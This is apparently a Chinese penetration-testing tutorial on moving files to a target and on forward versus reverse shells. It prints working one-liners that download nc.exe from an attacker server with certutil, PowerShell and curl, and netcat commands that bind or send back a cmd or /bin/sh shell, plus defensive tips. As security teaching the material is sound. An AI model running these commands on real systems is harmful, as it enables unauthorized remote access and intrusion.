文章目录
- 1 上传下载
- 2 反弹shell命令
- 1. 正向连接(Forward Connection)
- 正向连接示例(nc)
- 2. 反向连接(Reverse Connection)
- 反向连接示例(反弹 Shell)
- 对比表格
- 实际应用中的选择
- 防御建议
- 总结
- 结语
1 上传下载
解决问题:无图形化、数据传输。
案例演示:参考连接1命令在windows与linux之间相互下载文件,文件nc.exe
放置在linux web网站根目录下
命令生成:参考下面连接1
Linux:wget
,curl
,python
,ruby
,perl
,java
等
windows:PowerShell
,Certutil
,Bitsadmin
,msiexec
,mshta
,rundll32
等
windows下载测试1:
certutil.exe -urlcache -split -f http://ip:port/nc.exe nc1.exe
如下图所示:
windows下载测试2:
powershell.exe -Command "Invoke-WebRequest -Uri http://ip:port/nc.exe -OutFile nc2.exe"
如下图所示:
linux下载测试1:
curl http://ip:port/nc.exe -o nc1.exe
如下图所示:
2 反弹shell命令
反弹 Shell(Reverse Shell)是一种网络技术,通常用于通过远程控制的方式连接目标计算机。
解决问题:数据回显、数据通讯。
命令生成:https://forum.ywhack.com/shell.php
正向连接和反向连接是网络通信中两种不同的连接方向模式,尤其在渗透测试、远程控制等场景中常被讨论。以下是它们的核心区别和应用场景:
1. 正向连接(Forward Connection)
- 定义:客户端主动连接服务器(攻击者→目标)。
示例:常规的 SSH 登录、访问网站、下载文件等。 - 特点:
- 客户端主动发起请求,服务端监听端口等待连接。
- 依赖条件:目标机器(服务端)需开放端口且允许入站流量(如防火墙放行)。
- 典型应用场景:
- 正常服务访问(如 Web 服务、数据库连接)。
- 渗透测试中直接连接目标开放的服务(如爆破 SSH 弱口令)。
正向连接示例(nc)
linux控制windows
-
windows绑定cmd到本地5566端口
nc -e cmd -lvp 5566
-
linux主动连接目标5566
ncat 192.168.0.104 5566
如下图所示:
window控制linux:
-
linux绑定sh到本地5566端口
ncat -e /bin/sh -lvp 5566
-
window主动连接linux5566端口
nc 192.168.0.105 5566
如下图所示:
2. 反向连接(Reverse Connection)
- 定义:服务端(目标)主动连接客户端(攻击者)。
示例:反弹 Shell、木马回连控制端。 - 特点:
- 服务端(目标)主动向外发起连接,客户端(攻击者)监听端口等待连接。
- 依赖条件:攻击者需开放监听端口,且目标允许出站流量(通常防火墙对出站限制较少)。
- 典型应用场景:
- 绕过防火墙或 NAT 限制(如内网机器无法直接暴露端口)。
- 渗透测试中维持权限(通过反向通道控制目标)。
反向连接示例(反弹 Shell)
windows反向连接linux:
-
linux开启监听5566
ncat -lvp 5566
-
windows给linux连接
nc -e cmd 192.168.0.105 5566
如下图所示:
对比表格
特性 | 正向连接 | 反向连接 |
---|---|---|
连接方向 | 客户端→服务端 | 服务端→客户端 |
防火墙限制 | 依赖目标开放入站端口 | 依赖目标允许出站流量 |
典型场景 | 正常服务访问、直接攻击 | 绕过防火墙、权限维持 |
攻击者角色 | 主动连接目标 | 被动监听,等待目标回连 |
风险防御 | 限制入站端口 | 监控异常出站连接 |
实际应用中的选择
- 正向连接适用场景:
- 目标机器有公网 IP 且开放端口。
- 直接利用漏洞攻击开放服务(如 Web RCE)。
- 反向连接适用场景:
- 目标处于内网,无法直接访问(如 NAT 环境)。
- 防火墙阻止入站流量但允许出站(如企业内网主机)。
防御建议
- 正向连接防御:
- 限制非必要端口的入站规则(如仅开放 80/443)。
- 使用强密码和双因素认证(防止爆破)。
- 反向连接防御:
- 监控异常出站连接(如非业务 IP 的主动外连)。
- 限制出站流量(仅允许访问白名单 IP/端口)。
- 部署 EDR/XDR 检测反弹 Shell 行为。
总结
- 正向连接:直接、简单,但依赖目标环境开放入站权限。
- 反向连接:隐蔽、灵活,常用于绕过网络限制,但需依赖目标的出站策略。
结语
❓QQ:806797785
⭐️仓库地址:https://gitee.com/gaogzhen
⭐️仓库地址:https://github.com/gaogzhen
[1]全栈网络安全 | 渗透测试 | 高级红蓝对抗 V2024最新版[CP/OL].
[2]棱角社区[CP/OL].